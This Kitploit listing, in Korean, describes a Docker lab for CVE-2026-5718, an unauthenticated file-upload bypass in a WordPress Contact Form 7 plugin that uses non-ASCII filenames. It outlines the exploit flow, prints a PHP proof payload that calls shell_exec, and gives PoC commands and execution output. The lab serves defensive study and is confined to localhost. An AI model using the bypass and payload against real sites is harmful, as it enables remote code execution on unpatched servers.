Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5718-Lab — Local Docker lab demonstrating CVE-2026-5718 arbitrary file upload in a WordPress plugin, with vulnerable and patched services for side-by-side exploitation and defense analysis. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-5718-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-5718-lab

CVE-2026-5718-Lab

Local Docker lab demonstrating CVE-2026-5718 arbitrary file upload in a WordPress plugin, with vulnerable and patched services for side-by-side exploitation and defense analysis.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
13개월 전아직 검토되지 않음

CVE-2026-5718 로컬 Docker 실습

CVE-2026-5718에 취약한 버전과 패치된 버전을 로컬 전용 Docker 실습 환경에서 비교합니다. 이 취약점은 WordPress 플러그인 Drag and Drop Multiple File Upload for Contact Form 7에 영향을 미칩니다.

이 실습은 취약한 버전 1.3.9.6과 패치된 버전 1.3.9.7의 차이를 최소 피해 PHP 실행 증명(PoC)을 통해 Docker 전용 환경에서 보여줍니다.

범위: localhost / Docker 네트워크 전용. 본 PoC를 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.


요약

CVE-2026-5718은 Drag and Drop Multiple File Upload for Contact Form 7 플러그인 버전 1.3.9.6까지의 임의 파일 업로드 취약점입니다.

이 문제는 사용자 정의 블랙리스트 유형이 설정되고 파일 이름에 비ASCII 문자가 포함될 때 발생합니다. 취약한 버전에서는 위험한 .php 업로드가 의도된 보호를 우회하고 실행 가능한 상태로 남을 수 있습니다. 버전 1.3.9.7은 동일한 업로드를 거부하여 문제를 해결합니다.

이 저장소는 두 개의 로컬 WordPress 서비스를 실행합니다:

  • vuln - http://localhost:8081에서 플러그인 버전 1.3.9.6 사용
  • patched - http://localhost:8082에서 플러그인 버전 1.3.9.7 사용

실습 아키텍처

root@kitploit:~
Host
├── http://localhost:8081  -> 취약한 WordPress 서비스
└── http://localhost:8082  -> 패치된 WordPress 서비스

Docker 네트워크
├── vuln
├── vuln-db
├── patched
└── patched-db

저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

취약점 흐름

시드된 Contact Form 7 양식에는 Drag and Drop Multiple File Upload 필드가 포함되어 있습니다:

root@kitploit:~
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]

PoC는 다음과 같은 이름의 PHP 증명 파일을 업로드합니다:

root@kitploit:~
proof-β.php

β 문자는 비ASCII입니다. 이는 취약점이 비ASCII 입력에 대한 파일 이름 처리에 의존하기 때문에 중요합니다.

높은 수준의 흐름:

root@kitploit:~
PoC
 ↓
실습 페이지를 가져와 DnD CF7 AJAX nonce 추출
 ↓
wp-admin/admin-ajax.php를 통해 proof-β.php 업로드
 ↓
취약한 1.3.9.6이 이를 수락하고 .php 파일로 저장
 ↓
PoC가 업로드된 파일 요청
 ↓
취약한 실습이 PHP 증명을 www-data로 실행

패치된 흐름:

root@kitploit:~
PoC
 ↓
동일한 proof-β.php 파일 업로드
 ↓
패치된 1.3.9.7이 업로드 거부
 ↓
PHP 파일이 저장되지 않으며 코드 실행 없음

로컬 RCE 증명 설계

업로드된 PHP 증명은 의도적으로 최소화되었습니다:

root@kitploit:~
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

증명은 실행 컨텍스트를 보여주기 위해 whoami와 id만 실행합니다. 리버스 셸, 지속성, 자격 증명 접근, 측면 이동, 네트워크 스캔, 파괴적 작업을 사용하지 않습니다.

취약한 서비스는 로컬 실습에서 영향을 관찰할 수 있도록 의도적으로 플러그인 업로드 디렉터리에서 PHP 실행을 허용합니다. 패치된 서비스는 더 안전한 동작을 유지하며 애플리케이션 검증 계층에서 업로드를 거부합니다.


요구 사항

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Python 종속성 설치:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

빌드 및 실행

깨끗한 상태에서 시작:

root@kitploit:~
docker compose down -v
docker compose up --build -d

서비스 상태 확인:

root@kitploit:~
docker compose ps

실습 페이지 열기:

root@kitploit:~
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

PoC 실행

취약한 서비스에 대해 실행:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8081

패치된 서비스에 대해 실행:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8082

PoC는 localhost 또는 loopback 대상만 허용합니다.


예상 결과

취약한 서비스

예상 동작:

  • 업로드가 수락됩니다.
  • 업로드된 파일 이름이 .php 파일로 유지됩니다.
  • 업로드된 PHP 증명이 웹 서버 사용자로 실행됩니다.

예시 출력:

root@kitploit:~
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

패치된 서비스

예상 동작:

  • 동일한 업로드가 거부됩니다.
  • PHP 증명이 실행 가능한 파일로 저장되지 않습니다.
  • 코드 실행이 발생하지 않습니다.

예시 출력:

root@kitploit:~
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

안전 참고 사항

이 실습은 의도적으로 로컬 테스트로 제한됩니다.

PoC:

  • non-localhost 대상을 차단합니다.
  • 리버스 셸을 사용하지 않습니다.
  • 지속성을 수행하지 않습니다.
  • 비밀을 읽지 않습니다.
  • 네트워크를 스캔하지 않습니다.
  • 취약한 컨테이너 내에서 whoami와 id만 실행합니다.

취약한 서비스는 로컬 증명을 관찰 가능하게 만들기 위해 업로드 디렉터리의 PHP 실행만 완화합니다. 해당 구성을 프로덕션에 복사하지 마십시오.


정리

컨테이너 중지:

root@kitploit:~
docker compose down

컨테이너 및 볼륨 제거:

root@kitploit:~
docker compose down -v

Python 가상 환경 제거:

root@kitploit:~
rm -rf .venv

참고 자료

  • NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

  • Patchstack 어드바이저리: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - 비ASCII 파일 이름 블랙리스트 우회를 통한 인증되지 않은 임의 파일 업로드 https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

  • Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - 비ASCII 파일 이름 블랙리스트 우회를 통한 인증되지 않은 임의 파일 업로드 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

  • GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

  • WordPress.org 플러그인 페이지: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

  • 플러그인 공급업체 페이지: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/


면책 조항

이 저장소는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. Docker를 사용하여 localhost에서만 실행되도록 설계되었습니다. PoC를 공용 시스템이나 제3자 시스템에 사용하지 마십시오.

도구 다운로드
서비스용도호스트 포트버전
vuln취약한 WordPress 실습8081플러그인 1.3.9.6
patched패치된 WordPress 실습8082플러그인 1.3.9.7
vuln-db취약한 서비스용 MySQL 데이터베이스내부MySQL 8.0
patched-db패치된 서비스용 MySQL 데이터베이스내부MySQL 8.0